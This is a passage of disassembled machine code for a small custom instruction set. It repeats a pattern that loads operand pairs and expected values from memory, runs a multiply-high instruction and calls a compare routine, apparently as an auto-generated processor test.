bb40: 10 40 01 29 ld32 r9,r9
bb44: 00 60 01 10 mulh r8,r16
bb48: 20 70 03 e2 movepc rret,8
bb4c: 14 30 d1 31 br 10 <compare>,#al
bb50: 00 10 00 41 add r2,1
bb54: 0d 41 cd 00 wl16 r8,0xe60
bb58: 0d 60 01 03 wh16 r8,0x3
bb5c: 10 40 01 08 ld32 r8,r8
bb60: 0d 43 ea 1c wl16 r16,0x1f5c
bb64: 0d 60 02 03 wh16 r16,0x3
bb68: 10 40 02 10 ld32 r16,r16
bb6c: 0d 46 09 38 wl16 r9,0x3058
bb70: 0d 60 01 23 wh16 r9,0x3
bb74: 10 40 01 29 ld32 r9,r9
bb78: 00 60 01 10 mulh r8,r16
bb7c: 20 70 03 e2 movepc rret,8
bb80: 14 30 d1 24 br 10 <compare>,#al
bb84: 00 10 00 41 add r2,1
bb88: 0d 41 cd 04 wl16 r8,0xe64
bb8c: 0d 60 01 03 wh16 r8,0x3
bb90: 10 40 01 08 ld32 r8,r8
bb94: 0d 43 ee 00 wl16 r16,0x1f60
bb98: 0d 60 02 03 wh16 r16,0x3
bb9c: 10 40 02 10 ld32 r16,r16
bba0: 0d 46 09 3c wl16 r9,0x305c
bba4: 0d 60 01 23 wh16 r9,0x3
bba8: 10 40 01 29 ld32 r9,r9
bbac: 00 60 01 10 mulh r8,r16
bbb0: 20 70 03 e2 movepc rret,8
bbb4: 14 30 d1 17 br 10 <compare>,#al
bbb8: 00 10 00 41 add r2,1
bbbc: 0d 41 cd 08 wl16 r8,0xe68
bbc0: 0d 60 01 03 wh16 r8,0x3
bbc4: 10 40 01 08 ld32 r8,r8
bbc8: 0d 43 ee 04 wl16 r16,0x1f64
bbcc: 0d 60 02 03 wh16 r16,0x3
bbd0: 10 40 02 10 ld32 r16,r16
bbd4: 0d 46 0d 20 wl16 r9,0x3060
bbd8: 0d 60 01 23 wh16 r9,0x3
bbdc: 10 40 01 29 ld32 r9,r9
bbe0: 00 60 01 10 mulh r8,r16
bbe4: 20 70 03 e2 movepc rret,8
bbe8: 14 30 d1 0a br 10 <compare>,#al
bbec: 00 10 00 41 add r2,1
bbf0: 0d 41 cd 0c wl16 r8,0xe6c
bbf4: 0d 60 01 03 wh16 r8,0x3
bbf8: 10 40 01 08 ld32 r8,r8
bbfc: 0d 43 ee 08 wl16 r16,0x1f68
bc00: 0d 60 02 03 wh16 r16,0x3
bc04: 10 40 02 10 ld32 r16,r16
bc08: 0d 46 0d 24 wl16 r9,0x3064
bc0c: 0d 60 01 23 wh16 r9,0x3
bc10: 10 40 01 29 ld32 r9,r9
bc14: 00 60 01 10 mulh r8,r16
bc18: 20 70 03 e2 movepc rret,8
bc1c: 14 30 d0 fd br 10 <compare>,#al
bc20: 00 10 00 41 add r2,1
bc24: 0d 41 cd 10 wl16 r8,0xe70
bc28: 0d 60 01 03 wh16 r8,0x3
bc2c: 10 40 01 08 ld32 r8,r8
bc30: 0d 43 ee 0c wl16 r16,0x1f6c
bc34: 0d 60 02 03 wh16 r16,0x3
bc38: 10 40 02 10 ld32 r16,r16
bc3c: 0d 46 0d 28 wl16 r9,0x3068
bc40: 0d 60 01 23 wh16 r9,0x3
bc44: 10 40 01 29 ld32 r9,r9
bc48: 00 60 01 10 mulh r8,r16
bc4c: 20 70 03 e2 movepc rret,8
bc50: 14 30 d0 f0 br 10 <compare>,#al
bc54: 00 10 00 41 add r2,1
bc58: 0d 41 cd 14 wl16 r8,0xe74
bc5c: 0d 60 01 03 wh16 r8,0x3
bc60: 10 40 01 08 ld32 r8,r8
bc64: 0d 43 ee 10 wl16 r16,0x1f70
bc68: 0d 60 02 03 wh16 r16,0x3
bc6c: 10 40 02 10 ld32 r16,r16
bc70: 0d 46 0d 2c wl16 r9,0x306c
bc74: 0d 60 01 23 wh16 r9,0x3
bc78: 10 40 01 29 ld32 r9,r9
bc7c: 00 60 01 10 mulh r8,r16
bc80: 20 70 03 e2 movepc rret,8
bc84: 14 30 d0 e3 br 10 <compare>,#al
bc88: 00 10 00 41 add r2,1
bc8c: 0d 41 cd 18 wl16 r8,0xe78
bc90: 0d 60 01 03 wh16 r8,0x3
bc94: 10 40 01 08 ld32 r8,r8
bc98: 0d 43 ee 14 wl16 r16,0x1f74
bc9c: 0d 60 02 03 wh16 r16,0x3
bca0: 10 40 02 10 ld32 r16,r16
bca4: 0d 46 0d 30 wl16 r9,0x3070
bca8: 0d 60 01 23 wh16 r9,0x3
bcac: 10 40 01 29 ld32 r9,r9
bcb0: 00 60 01 10 mulh r8,r16
bcb4: 20 70 03 e2 movepc rret,8
bcb8: 14 30 d0 d6 br 10 <compare>,#al
bcbc: 00 10 00 41 add r2,1
bcc0: 0d 41 cd 1c wl16 r8,0xe7c
bcc4: 0d 60 01 03 wh16 r8,0x3
bcc8: 10 40 01 08 ld32 r8,r8
bccc: 0d 43 ee 18 wl16 r16,0x1f78
bcd0: 0d 60 02 03 wh16 r16,0x3
bcd4: 10 40 02 10 ld32 r16,r16
bcd8: 0d 46 0d 34 wl16 r9,0x3074
bcdc: 0d 60 01 23 wh16 r9,0x3
bce0: 10 40 01 29 ld32 r9,r9
bce4: 00 60 01 10 mulh r8,r16
bce8: 20 70 03 e2 movepc rret,8
bcec: 14 30 d0 c9 br 10 <compare>,#al
bcf0: 00 10 00 41 add r2,1
bcf4: 0d 41 d1 00 wl16 r8,0xe80
bcf8: 0d 60 01 03 wh16 r8,0x3
bcfc: 10 40 01 08 ld32 r8,r8
bd00: 0d 43 ee 1c wl16 r16,0x1f7c
bd04: 0d 60 02 03 wh16 r16,0x3
bd08: 10 40 02 10 ld32 r16,r16
bd0c: 0d 46 0d 38 wl16 r9,0x3078
bd10: 0d 60 01 23 wh16 r9,0x3
bd14: 10 40 01 29 ld32 r9,r9
bd18: 00 60 01 10 mulh r8,r16
bd1c: 20 70 03 e2 movepc rret,8
bd20: 14 30 d0 bc br 10 <compare>,#al
bd24: 00 10 00 41 add r2,1
bd28: 0d 41 d1 04 wl16 r8,0xe84
bd2c: 0d 60 01 03 wh16 r8,0x3
bd30: 10 40 01 08 ld32 r8,r8
bd34: 0d 43 f2 00 wl16 r16,0x1f80
bd38: 0d 60 02 03 wh16 r16,0x3
bd3c: 10 40 02 10 ld32 r16,r16
bd40: 0d 46 0d 3c wl16 r9,0x307c
bd44: 0d 60 01 23 wh16 r9,0x3
bd48: 10 40 01 29 ld32 r9,r9
bd4c: 00 60 01 10 mulh r8,r16
bd50: 20 70 03 e2 movepc rret,8
bd54: 14 30 d0 af br 10 <compare>,#al
bd58: 00 10 00 41 add r2,1
bd5c: 0d 41 d1 08 wl16 r8,0xe88
bd60: 0d 60 01 03 wh16 r8,0x3
bd64: 10 40 01 08 ld32 r8,r8
bd68: 0d 43 f2 04 wl16 r16,0x1f84
bd6c: 0d 60 02 03 wh16 r16,0x3
bd70: 10 40 02 10 ld32 r16,r16
bd74: 0d 46 11 20 wl16 r9,0x3080
bd78: 0d 60 01 23 wh16 r9,0x3
bd7c: 10 40 01 29 ld32 r9,r9
bd80: 00 60 01 10 mulh r8,r16
bd84: 20 70 03 e2 movepc rret,8
bd88: 14 30 d0 a2 br 10 <compare>,#al
bd8c: 00 10 00 41 add r2,1
bd90: 0d 41 d1 0c wl16 r8,0xe8c
bd94: 0d 60 01 03 wh16 r8,0x3
bd98: 10 40 01 08 ld32 r8,r8
bd9c: 0d 43 f2 08 wl16 r16,0x1f88
bda0: 0d 60 02 03 wh16 r16,0x3
bda4: 10 40 02 10 ld32 r16,r16
bda8: 0d 46 11 24 wl16 r9,0x3084
bdac: 0d 60 01 23 wh16 r9,0x3
bdb0: 10 40 01 29 ld32 r9,r9
bdb4: 00 60 01 10 mulh r8,r16
bdb8: 20 70 03 e2 movepc rret,8
bdbc: 14 30 d0 95 br 10 <compare>,#al
bdc0: 00 10 00 41 add r2,1
bdc4: 0d 41 d1 10 wl16 r8,0xe90
bdc8: 0d 60 01 03 wh16 r8,0x3
bdcc: 10 40 01 08 ld32 r8,r8
bdd0: 0d 43 f2 0c wl16 r16,0x1f8c
bdd4: 0d 60 02 03 wh16 r16,0x3
bdd8: 10 40 02 10 ld32 r16,r16
bddc: 0d 46 11 28 wl16 r9,0x3088
bde0: 0d 60 01 23 wh16 r9,0x3
bde4: 10 40 01 29 ld32 r9,r9
bde8: 00 60 01 10 mulh r8,r16
bdec: 20 70 03 e2 movepc rret,8
bdf0: 14 30 d0 88 br 10 <compare>,#al
bdf4: 00 10 00 41 add r2,1
bdf8: 0d 41 d1 14 wl16 r8,0xe94
bdfc: 0d 60 01 03 wh16 r8,0x3
be00: 10 40 01 08 ld32 r8,r8
be04: 0d 43 f2 10 wl16 r16,0x1f90
be08: 0d 60 02 03 wh16 r16,0x3
be0c: 10 40 02 10 ld32 r16,r16
be10: 0d 46 11 2c wl16 r9,0x308c
be14: 0d 60 01 23 wh16 r9,0x3
be18: 10 40 01 29 ld32 r9,r9
be1c: 00 60 01 10 mulh r8,r16
be20: 20 70 03 e2 movepc rret,8
be24: 14 30 d0 7b br 10 <compare>,#al
be28: 00 10 00 41 add r2,1
be2c: 0d 41 d1 18 wl16 r8,0xe98
be30: 0d 60 01 03 wh16 r8,0x3
be34: 10 40 01 08 ld32 r8,r8
be38: 0d 43 f2 14 wl16 r16,0x1f94
be3c: 0d 60 02 03 wh16 r16,0x3
be40: 10 40 02 10 ld32 r16,r16
be44: 0d 46 11 30 wl16 r9,0x3090
be48: 0d 60 01 23 wh16 r9,0x3
be4c: 10 40 01 29 ld32 r9,r9
be50: 00 60 01 10 mulh r8,r16
be54: 20 70 03 e2 movepc rret,8
be58: 14 30 d0 6e br 10 <compare>,#al
be5c: 00 10 00 41 add r2,1
be60: 0d 41 d1 1c wl16 r8,0xe9c
be64: 0d 60 01 03 wh16 r8,0x3
be68: 10 40 01 08 ld32 r8,r8
be6c: 0d 43 f2 18 wl16 r16,0x1f98
be70: 0d 60 02 03 wh16 r16,0x3
be74: 10 40 02 10 ld32 r16,r16
be78: 0d 46 11 34 wl16 r9,0x3094
be7c: 0d 60 01 23 wh16 r9,0x3
be80: 10 40 01 29 ld32 r9,r9
be84: 00 60 01 10 mulh r8,r16
be88: 20 70 03 e2 movepc rret,8
be8c: 14 30 d0 61 br 10 <compare>,#al
be90: 00 10 00 41 add r2,1
be94: 0d 41 d5 00 wl16 r8,0xea0
be98: 0d 60 01 03 wh16 r8,0x3
be9c: 10 40 01 08 ld32 r8,r8
bea0: 0d 43 f2 1c wl16 r16,0x1f9c
bea4: 0d 60 02 03 wh16 r16,0x3
bea8: 10 40 02 10 ld32 r16,r16
beac: 0d 46 11 38 wl16 r9,0x3098
beb0: 0d 60 01 23 wh16 r9,0x3
beb4: 10 40 01 29 ld32 r9,r9
beb8: 00 60 01 10 mulh r8,r16
bebc: 20 70 03 e2 movepc rret,8
bec0: 14 30 d0 54 br 10 <compare>,#al
bec4: 00 10 00 41 add r2,1
bec8: 0d 41 d5 04 wl16 r8,0xea4
becc: 0d 60 01 03 wh16 r8,0x3
bed0: 10 40 01 08 ld32 r8,r8
bed4: 0d 43 f6 00 wl16 r16,0x1fa0
bed8: 0d 60 02 03 wh16 r16,0x3
bedc: 10 40 02 10 ld32 r16,r16
bee0: 0d 46 11 3c wl16 r9,0x309c
bee4: 0d 60 01 23 wh16 r9,0x3
bee8: 10 40 01 29 ld32 r9,r9
beec: 00 60 01 10 mulh r8,r16
bef0: 20 70 03 e2 movepc rret,8
bef4: 14 30 d0 47 br 10 <compare>,#al
bef8: 00 10 00 41 add r2,1
befc: 0d 41 d5 08 wl16 r8,0xea8
bf00: 0d 60 01 03 wh16 r8,0x3
bf04: 10 40 01 08 ld32 r8,r8
bf08: 0d 43 f6 04 wl16 r16,0x1fa4
bf0c: 0d 60 02 03 wh16 r16,0x3
bf10: 10 40 02 10 ld32 r16,r16
bf14: 0d 46 15 20 wl16 r9,0x30a0
bf18: 0d 60 01 23 wh16 r9,0x3
bf1c: 10 40 01 29 ld32 r9,r9
bf20: 00 60 01 10 mulh r8,r16
bf24: 20 70 03 e2 movepc rret,8
bf28: 14 30 d0 3a br 10 <compare>,#al
bf2c: 00 10 00 41 add r2,1
bf30: 0d 41 d5 0c wl16 r8,0xeac
bf34: 0d 60 01 03 wh16 r8,0x3
bf38: 10 40 01 08 ld32 r8,r8
bf3c: 0d 43 f6 08 wl16 r16,0x1fa8
bf40: 0d 60 02 03 wh16 r16,0x3
bf44: 10 40 02 10 ld32 r16,r16
bf48: 0d 46 15 24 wl16 r9,0x30a4
bf4c: 0d 60 01 23 wh16 r9,0x3
bf50: 10 40 01 29 ld32 r9,r9
bf54: 00 60 01 10 mulh r8,r16
bf58: 20 70 03 e2 movepc rret,8
bf5c: 14 30 d0 2d br 10 <compare>,#al
bf60: 00 10 00 41 add r2,1
bf64: 0d 41 d5 10 wl16 r8,0xeb0
bf68: 0d 60 01 03 wh16 r8,0x3
bf6c: 10 40 01 08 ld32 r8,r8
bf70: 0d 43 f6 0c wl16 r16,0x1fac
bf74: 0d 60 02 03 wh16 r16,0x3
bf78: 10 40 02 10 ld32 r16,r16
bf7c: 0d 46 15 28 wl16 r9,0x30a8
bf80: 0d 60 01 23 wh16 r9,0x3
bf84: 10 40 01 29 ld32 r9,r9
bf88: 00 60 01 10 mulh r8,r16
bf8c: 20 70 03 e2 movepc rret,8
bf90: 14 30 d0 20 br 10 <compare>,#al
bf94: 00 10 00 41 add r2,1
bf98: 0d 41 d5 14 wl16 r8,0xeb4
bf9c: 0d 60 01 03 wh16 r8,0x3
bfa0: 10 40 01 08 ld32 r8,r8
bfa4: 0d 43 f6 10 wl16 r16,0x1fb0
bfa8: 0d 60 02 03 wh16 r16,0x3
bfac: 10 40 02 10 ld32 r16,r16
bfb0: 0d 46 15 2c wl16 r9,0x30ac
bfb4: 0d 60 01 23 wh16 r9,0x3
bfb8: 10 40 01 29 ld32 r9,r9
bfbc: 00 60 01 10 mulh r8,r16
bfc0: 20 70 03 e2 movepc rret,8
bfc4: 14 30 d0 13 br 10 <compare>,#al
bfc8: 00 10 00 41 add r2,1
bfcc: 0d 41 d5 18 wl16 r8,0xeb8
bfd0: 0d 60 01 03 wh16 r8,0x3
bfd4: 10 40 01 08 ld32 r8,r8
bfd8: 0d 43 f6 14 wl16 r16,0x1fb4
bfdc: 0d 60 02 03 wh16 r16,0x3
bfe0: 10 40 02 10 ld32 r16,r16
bfe4: 0d 46 15 30 wl16 r9,0x30b0
bfe8: 0d 60 01 23 wh16 r9,0x3
bfec: 10 40 01 29 ld32 r9,r9
bff0: 00 60 01 10 mulh r8,r16
bff4: 20 70 03 e2 movepc rret,8
bff8: 14 30 d0 06 br 10 <compare>,#al
bffc: 00 10 00 41 add r2,1
c000: 0d 41 d5 1c wl16 r8,0xebc
c004: 0d 60 01 03 wh16 r8,0x3
c008: 10 40 01 08 ld32 r8,r8
c00c: 0d 43 f6 18 wl16 r16,0x1fb8
c010: 0d 60 02 03 wh16 r16,0x3
c014: 10 40 02 10 ld32 r16,r16
c018: 0d 46 15 34 wl16 r9,0x30b4
c01c: 0d 60 01 23 wh16 r9,0x3
c020: 10 40 01 29 ld32 r9,r9
c024: 00 60 01 10 mulh r8,r16
c028: 20 70 03 e2 movepc rret,8
c02c: 14 30 cf f9 br 10 <compare>,#al
c030: 00 10 00 41 add r2,1
c034: 0d 41 d9 00 wl16 r8,0xec0
c038: 0d 60 01 03 wh16 r8,0x3
c03c: 10 40 01 08 ld32 r8,r8
c040: 0d 43 f6 1c wl16 r16,0x1fbc
c044: 0d 60 02 03 wh16 r16,0x3
c048: 10 40 02 10 ld32 r16,r16
c04c: 0d 46 15 38 wl16 r9,0x30b8
c050: 0d 60 01 23 wh16 r9,0x3
c054: 10 40 01 29 ld32 r9,r9
c058: 00 60 01 10 mulh r8,r16
c05c: 20 70 03 e2 movepc rret,8
c060: 14 30 cf ec br 10 <compare>,#al
c064: 00 10 00 41 add r2,1
c068: 0d 41 d9 04 wl16 r8,0xec4
c06c: 0d 60 01 03 wh16 r8,0x3
c070: 10 40 01 08 ld32 r8,r8
c074: 0d 43 fa 00 wl16 r16,0x1fc0
c078: 0d 60 02 03 wh16 r16,0x3
c07c: 10 40 02 10 ld32 r16,r16
c080: 0d 46 15 3c wl16 r9,0x30bc
c084: 0d 60 01 23 wh16 r9,0x3
c088: 10 40 01 29 ld32 r9,r9
c08c: 00 60 01 10 mulh r8,r16
c090: 20 70 03 e2 movepc rret,8
c094: 14 30 cf df br 10 <compare>,#al
c098: 00 10 00 41 add r2,1
c09c: 0d 41 d9 08 wl16 r8,0xec8
c0a0: 0d 60 01 03 wh16 r8,0x3
c0a4: 10 40 01 08 ld32 r8,r8
c0a8: 0d 43 fa 04 wl16 r16,0x1fc4
c0ac: 0d 60 02 03 wh16 r16,0x3
c0b0: 10 40 02 10 ld32 r16,r16
c0b4: 0d 46 19 20 wl16 r9,0x30c0
c0b8: 0d 60 01 23 wh16 r9,0x3
c0bc: 10 40 01 29 ld32 r9,r9
c0c0: 00 60 01 10 mulh r8,r16
c0c4: 20 70 03 e2 movepc rret,8
c0c8: 14 30 cf d2 br 10 <compare>,#al
c0cc: 00 10 00 41 add r2,1
c0d0: 0d 41 d9 0c wl16 r8,0xecc
c0d4: 0d 60 01 03 wh16 r8,0x3
c0d8: 10 40 01 08 ld32 r8,r8
c0dc: 0d 43 fa 08 wl16 r16,0x1fc8
c0e0: 0d 60 02 03 wh16 r16,0x3
c0e4: 10 40 02 10 ld32 r16,r16
c0e8: 0d 46 19 24 wl16 r9,0x30c4
c0ec: 0d 60 01 23 wh16 r9,0x3
c0f0: 10 40 01 29 ld32 r9,r9
c0f4: 00 60 01 10 mulh r8,r16
c0f8: 20 70 03 e2 movepc rret,8
c0fc: 14 30 cf c5 br 10 <compare>,#al
c100: 00 10 00 41 add r2,1
c104: 0d 41 d9 10 wl16 r8,0xed0
c108: 0d 60 01 03 wh16 r8,0x3
c10c: 10 40 01 08 ld32 r8,r8
c110: 0d 43 fa 0c wl16 r16,0x1fcc
c114: 0d 60 02 03 wh16 r16,0x3
c118: 10 40 02 10 ld32 r16,r16
c11c: 0d 46 19 28 wl16 r9,0x30c8
c120: 0d 60 01 23 wh16 r9,0x3
c124: 10 40 01 29 ld32 r9,r9
c128: 00 60 01 10 mulh r8,r16
c12c: 20 70 03 e2 movepc rret,8
c130: 14 30 cf b8 br 10 <compare>,#al
c134: 00 10 00 41 add r2,1
c138: 0d 41 d9 14 wl16 r8,0xed4
c13c: 0d 60 01 03 wh16 r8,0x3
c140: 10 40 01 08 ld32 r8,r8
c144: 0d 43 fa 10 wl16 r16,0x1fd0
c148: 0d 60 02 03 wh16 r16,0x3
c14c: 10 40 02 10 ld32 r16,r16
c150: 0d 46 19 2c wl16 r9,0x30cc
c154: 0d 60 01 23 wh16 r9,0x3
c158: 10 40 01 29 ld32 r9,r9
c15c: 00 60 01 10 mulh r8,r16
c160: 20 70 03 e2 movepc rret,8
c164: 14 30 cf ab br 10 <compare>,#al
c168: 00 10 00 41 add r2,1
c16c: 0d 41 d9 18 wl16 r8,0xed8
c170: 0d 60 01 03 wh16 r8,0x3
c174: 10 40 01 08 ld32 r8,r8
c178: 0d 43 fa 14 wl16 r16,0x1fd4
c17c: 0d 60 02 03 wh16 r16,0x3
c180: 10 40 02 10 ld32 r16,r16
c184: 0d 46 19 30 wl16 r9,0x30d0
c188: 0d 60 01 23 wh16 r9,0x3
c18c: 10 40 01 29 ld32 r9,r9
c190: 00 60 01 10 mulh r8,r16
c194: 20 70 03 e2 movepc rret,8
c198: 14 30 cf 9e br 10 <compare>,#al
c19c: 00 10 00 41 add r2,1
c1a0: 0d 41 d9 1c wl16 r8,0xedc
c1a4: 0d 60 01 03 wh16 r8,0x3
c1a8: 10 40 01 08 ld32 r8,r8
c1ac: 0d 43 fa 18 wl16 r16,0x1fd8
c1b0: 0d 60 02 03 wh16 r16,0x3
c1b4: 10 40 02 10 ld32 r16,r16
c1b8: 0d 46 19 34 wl16 r9,0x30d4
c1bc: 0d 60 01 23 wh16 r9,0x3
c1c0: 10 40 01 29 ld32 r9,r9
c1c4: 00 60 01 10 mulh r8,r16
c1c8: 20 70 03 e2 movepc rret,8
c1cc: 14 30 cf 91 br 10 <compare>,#al
c1d0: 00 10 00 41 add r2,1
c1d4: 0d 41 dd 00 wl16 r8,0xee0
c1d8: 0d 60 01 03 wh16 r8,0x3
c1dc: 10 40 01 08 ld32 r8,r8
c1e0: 0d 43 fa 1c wl16 r16,0x1fdc
c1e4: 0d 60 02 03 wh16 r16,0x3
c1e8: 10 40 02 10 ld32 r16,r16
c1ec: 0d 46 19 38 wl16 r9,0x30d8
c1f0: 0d 60 01 23 wh16 r9,0x3
c1f4: 10 40 01 29 ld32 r9,r9
c1f8: 00 60 01 10 mulh r8,r16
c1fc: 20 70 03 e2 movepc rret,8
c200: 14 30 cf 84 br 10 <compare>,#al
c204: 00 10 00 41 add r2,1
c208: 0d 41 dd 04 wl16 r8,0xee4
c20c: 0d 60 01 03 wh16 r8,0x3
c210: 10 40 01 08 ld32 r8,r8
c214: 0d 43 fe 00 wl16 r16,0x1fe0
c218: 0d 60 02 03 wh16 r16,0x3
c21c: 10 40 02 10 ld32 r16,r16
c220: 0d 46 19 3c wl16 r9,0x30dc
c224: 0d 60 01 23 wh16 r9,0x3
c228: 10 40 01 29 ld32 r9,r9
c22c: 00 60 01 10 mulh r8,r16
c230: 20 70 03 e2 movepc rret,8
c234: 14 30 cf 77 br 10 <compare>,#al
c238: 00 10 00 41 add r2,1
c23c: 0d 41 dd 08 wl16 r8,0xee8
c240: 0d 60 01 03 wh16 r8,0x3
c244: 10 40 01 08 ld32 r8,r8
c248: 0d 43 fe 04 wl16 r16,0x1fe4
c24c: 0d 60 02 03 wh16 r16,0x3
c250: 10 40 02 10 ld32 r16,r16
c254: 0d 46 1d 20 wl16 r9,0x30e0
c258: 0d 60 01 23 wh16 r9,0x3
c25c: 10 40 01 29 ld32 r9,r9
c260: 00 60 01 10 mulh r8,r16
c264: 20 70 03 e2 movepc rret,8
c268: 14 30 cf 6a br 10 <compare>,#al
c26c: 00 10 00 41 add r2,1
c270: 0d 41 dd 0c wl16 r8,0xeec
c274: 0d 60 01 03 wh16 r8,0x3
c278: 10 40 01 08 ld32 r8,r8
c27c: 0d 43 fe 08 wl16 r16,0x1fe8
c280: 0d 60 02 03 wh16 r16,0x3
c284: 10 40 02 10 ld32 r16,r16
c288: 0d 46 1d 24 wl16 r9,0x30e4
c28c: 0d 60 01 23 wh16 r9,0x3
c290: 10 40 01 29 ld32 r9,r9
c294: 00 60 01 10 mulh r8,r16
c298: 20 70 03 e2 movepc rret,8
c29c: 14 30 cf 5d br 10 <compare>,#al
c2a0: 00 10 00 41 add r2,1
c2a4: 0d 41 dd 10 wl16 r8,0xef0
c2a8: 0d 60 01 03 wh16 r8,0x3
c2ac: 10 40 01 08 ld32 r8,r8
c2b0: 0d 43 fe 0c wl16 r16,0x1fec
c2b4: 0d 60 02 03 wh16 r16,0x3
c2b8: 10 40 02 10 ld32 r16,r16
c2bc: 0d 46 1d 28 wl16 r9,0x30e8
c2c0: 0d 60 01 23 wh16 r9,0x3
c2c4: 10 40 01 29 ld32 r9,r9
c2c8: 00 60 01 10 mulh r8,r16
c2cc: 20 70 03 e2 movepc rret,8
c2d0: 14 30 cf 50 br 10 <compare>,#al
c2d4: 00 10 00 41 add r2,1
c2d8: 0d 41 dd 14 wl16 r8,0xef4
c2dc: 0d 60 01 03 wh16 r8,0x3
c2e0: 10 40 01 08 ld32 r8,r8
c2e4: 0d 43 fe 10 wl16 r16,0x1ff0
c2e8: 0d 60 02 03 wh16 r16,0x3
c2ec: 10 40 02 10 ld32 r16,r16
c2f0: 0d 46 1d 2c wl16 r9,0x30ec
c2f4: 0d 60 01 23 wh16 r9,0x3
c2f8: 10 40 01 29 ld32 r9,r9
c2fc: 00 60 01 10 mulh r8,r16
c300: 20 70 03 e2 movepc rret,8
c304: 14 30 cf 43 br 10 <compare>,#al
c308: 00 10 00 41 add r2,1
c30c: 0d 41 dd 18 wl16 r8,0xef8
c310: 0d 60 01 03 wh16 r8,0x3
c314: 10 40 01 08 ld32 r8,r8
c318: 0d 43 fe 14 wl16 r16,0x1ff4
c31c: 0d 60 02 03 wh16 r16,0x3
c320: 10 40 02 10 ld32 r16,r16
c324: 0d 46 1d 30 wl16 r9,0x30f0
c328: 0d 60 01 23 wh16 r9,0x3
c32c: 10 40 01 29 ld32 r9,r9
c330: 00 60 01 10 mulh r8,r16
c334: 20 70 03 e2 movepc rret,8
c338: 14 30 cf 36 br 10 <compare>,#al
c33c: 00 10 00 41 add r2,1
c340: 0d 41 dd 1c wl16 r8,0xefc
c344: 0d 60 01 03 wh16 r8,0x3
c348: 10 40 01 08 ld32 r8,r8
c34c: 0d 43 fe 18 wl16 r16,0x1ff8
c350: 0d 60 02 03 wh16 r16,0x3
c354: 10 40 02 10 ld32 r16,r16
c358: 0d 46 1d 34 wl16 r9,0x30f4
c35c: 0d 60 01 23 wh16 r9,0x3
c360: 10 40 01 29 ld32 r9,r9
c364: 00 60 01 10 mulh r8,r16
c368: 20 70 03 e2 movepc rret,8
c36c: 14 30 cf 29 br 10 <compare>,#al
c370: 00 10 00 41 add r2,1
c374: 0d 41 e1 00 wl16 r8,0xf00
c378: 0d 60 01 03 wh16 r8,0x3
c37c: 10 40 01 08 ld32 r8,r8
c380: 0d 43 fe 1c wl16 r16,0x1ffc
c384: 0d 60 02 03 wh16 r16,0x3
c388: 10 40 02 10 ld32 r16,r16
c38c: 0d 46 1d 38 wl16 r9,0x30f8
c390: 0d 60 01 23 wh16 r9,0x3
c394: 10 40 01 29 ld32 r9,r9
c398: 00 60 01 10 mulh r8,r16
c39c: 20 70 03 e2 movepc rret,8
c3a0: 14 30 cf 1c br 10 <compare>,#al
c3a4: 00 10 00 41 add r2,1
c3a8: 0d 41 e1 04 wl16 r8,0xf04
c3ac: 0d 60 01 03 wh16 r8,0x3
c3b0: 10 40 01 08 ld32 r8,r8
c3b4: 0d 44 02 00 wl16 r16,0x2000
c3b8: 0d 60 02 03 wh16 r16,0x3
c3bc: 10 40 02 10 ld32 r16,r16
c3c0: 0d 46 1d 3c wl16 r9,0x30fc
c3c4: 0d 60 01 23 wh16 r9,0x3
c3c8: 10 40 01 29 ld32 r9,r9
c3cc: 00 60 01 10 mulh r8,r16
c3d0: 20 70 03 e2 movepc rret,8
c3d4: 14 30 cf 0f br 10 <compare>,#al
c3d8: 00 10 00 41 add r2,1
c3dc: 0d 41 e1 08 wl16 r8,0xf08
c3e0: 0d 60 01 03 wh16 r8,0x3
c3e4: 10 40 01 08 ld32 r8,r8
c3e8: 0d 44 02 04 wl16 r16,0x2004
c3ec: 0d 60 02 03 wh16 r16,0x3
c3f0: 10 40 02 10 ld32 r16,r16
c3f4: 0d 46 21 20 wl16 r9,0x3100
c3f8: 0d 60 01 23 wh16 r9,0x3
c3fc: 10 40 01 29 ld32 r9,r9
c400: 00 60 01 10 mulh r8,r16
c404: 20 70 03 e2 movepc rret,8
c408: 14 30 cf 02 br 10 <compare>,#al
c40c: 00 10 00 41 add r2,1
c410: 0d 41 e1 0c wl16 r8,0xf0c
c414: 0d 60 01 03 wh16 r8,0x3
c418: 10 40 01 08 ld32 r8,r8
c41c: 0d 44 02 08 wl16 r16,0x2008
c420: 0d 60 02 03 wh16 r16,0x3
c424: 10 40 02 10 ld32 r16,r16
c428: 0d 46 21 24 wl16 r9,0x3104
c42c: 0d 60 01 23 wh16 r9,0x3
c430: 10 40 01 29 ld32 r9,r9
c434: 00 60 01 10 mulh r8,r16
c438: 20 70 03 e2 movepc rret,8
c43c: 14 30 ce f5 br 10 <compare>,#al
c440: 00 10 00 41 add r2,1
c444: 0d 41 e1 10 wl16 r8,0xf10
c448: 0d 60 01 03 wh16 r8,0x3
c44c: 10 40 01 08 ld32 r8,r8
c450: 0d 44 02 0c wl16 r16,0x200c
c454: 0d 60 02 03 wh16 r16,0x3
c458: 10 40 02 10 ld32 r16,r16
c45c: 0d 46 21 28 wl16 r9,0x3108
c460: 0d 60 01 23 wh16 r9,0x3
c464: 10 40 01 29 ld32 r9,r9
c468: 00 60 01 10 mulh r8,r16
c46c: 20 70 03 e2 movepc rret,8
c470: 14 30 ce e8 br 10 <compare>,#al
c474: 00 10 00 41 add r2,1
c478: 0d 41 e1 14 wl16 r8,0xf14
c47c: 0d 60 01 03 wh16 r8,0x3
c480: 10 40 01 08 ld32 r8,r8
c484: 0d 44 02 10 wl16 r16,0x2010
c488: 0d 60 02 03 wh16 r16,0x3
c48c: 10 40 02 10 ld32 r16,r16
c490: 0d 46 21 2c wl16 r9,0x310c
c494: 0d 60 01 23 wh16 r9,0x3
c498: 10 40 01 29 ld32 r9,r9
c49c: 00 60 01 10 mulh r8,r16
c4a0: 20 70 03 e2 movepc rret,8
c4a4: 14 30 ce db br 10 <compare>,#al
c4a8: 00 10 00 41 add r2,1
c4ac: 0d 41 e1 18 wl16 r8,0xf18
c4b0: 0d 60 01 03 wh16 r8,0x3
c4b4: 10 40 01 08 ld32 r8,r8
c4b8: 0d 44 02 14 wl16 r16,0x2014
c4bc: 0d 60 02 03 wh16 r16,0x3
c4c0: 10 40 02 10 ld32 r16,r16
c4c4: 0d 46 21 30 wl16 r9,0x3110
c4c8: 0d 60 01 23 wh16 r9,0x3
c4cc: 10 40 01 29 ld32 r9,r9
c4d0: 00 60 01 10 mulh r8,r16
c4d4: 20 70 03 e2 movepc rret,8
c4d8: 14 30 ce ce br 10 <compare>,#al
c4dc: 00 10 00 41 add r2,1
c4e0: 0d 41 e1 1c wl16 r8,0xf1c
